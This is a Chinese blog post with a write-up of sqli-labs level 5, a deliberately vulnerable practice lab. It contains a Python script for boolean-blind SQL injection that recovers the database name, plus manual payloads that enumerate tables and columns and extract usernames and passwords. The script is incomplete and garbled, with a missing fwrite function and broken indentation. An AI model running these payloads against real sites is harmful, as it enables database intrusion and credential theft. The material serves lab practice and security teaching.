sqli labs第5關布林盲注pyhton指令碼

2022-09-01 07:57:10 字數 2798 閱讀 6001

import requests

import os

#此函式先判斷資料庫長度

def length(url,str):

num = 1

while true:

str_num = '%d' %num

len_url = url + "' and (select length(database()) = " + str_num +")--+"

response = requests.get(len_url)

if str in response.text:

print("資料庫長度為:%s" %str_num)

content(url,str,num)

break

else:

num = num + 1

#此函式判斷字串具體的內容

def content(url,str,num):

s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']

con_num = 1

while con_num <= num:

str_num = '%d' %con_num

for i in s:

con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+"

response = requests.get(con_url)

if str in response.text:

fwrite(i)

con_num = con_num + 1

#此函式對字串的內容做記錄並輸出

print("請輸入正確的位址")

初學python,只注重實現功能,不要太在意某些細節,如有建議,感謝提出。

#庫中有幾個表:

1' and ((select count(table_name) from information_schema.tables where table_schema = 'security') = 4

)--+

#測表名長度:

1' and (select length((select table_name from information_schema.tables where table_schema = 'security' limit 0

,1)) = 10

)--+

#爆表名:

1' and (select mid((select table_name from information_schema.tables where table_schema = 'security' limit 0

,1),1

,1)='a

')--+

#表中有幾列:

1' and ((select count(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security') = 3

)--+

#測列名長度:

1' and (select length((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1

,1)) = 8

)--+

#爆列名:

1' and (select mid((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1

,1),1

,1)='u

')--+

#爆使用者名稱:

1' and (select mid((select username from security.users limit 0

,1),1

,1)='d

')--+

#爆密碼:

1' and (select mid((select password from security.users limit 0

,1),1

,1)='d

')--+

以上標紅的就是需要遞迴測試的地方(標紅的地方不顯示-.-!,將就看),需要者可自行修改**。還有上述**中 s 列表請針對具體的情況修改,因為沒有特殊字元以及大寫字母等。

布林盲注手注

布林盲注 mid str,1,3 字串擷取 意思就是把str這個字串從第乙個字串開始,擷取前三個顯示 substr 這個函式和上面的用法一樣,也是用來擷取字串的 ord 轉換成ascii碼 length 統計長度 version 是檢視資料庫版本 database 檢視當前資料庫名 user 檢視當...

布林盲注 原理

布林盲注 可以寫指令碼 例如 沒有錯誤提示 也沒有回顯 但是輸入錯誤的話頁面會有反應 也就是說 只有 true 和false 例如 sql labs less 7 它只有兩種提示 所以可以用布林盲注 playload and length database 8 判斷資料庫名長度 是否等於8 如果不等...

MySQL布林盲注

盲注是注入的一種方式,是在頁面只返回true和false時使用。需要準備php知識 length 函式 返回字串的長度 substr 擷取字串 ascii 返回字元的ascii碼以上每個函式都可使用,但有可能被禁用,可選其他函式測試 一 判斷是否存在盲注 可能需要閉合及注釋操作,此處未演示 03.p...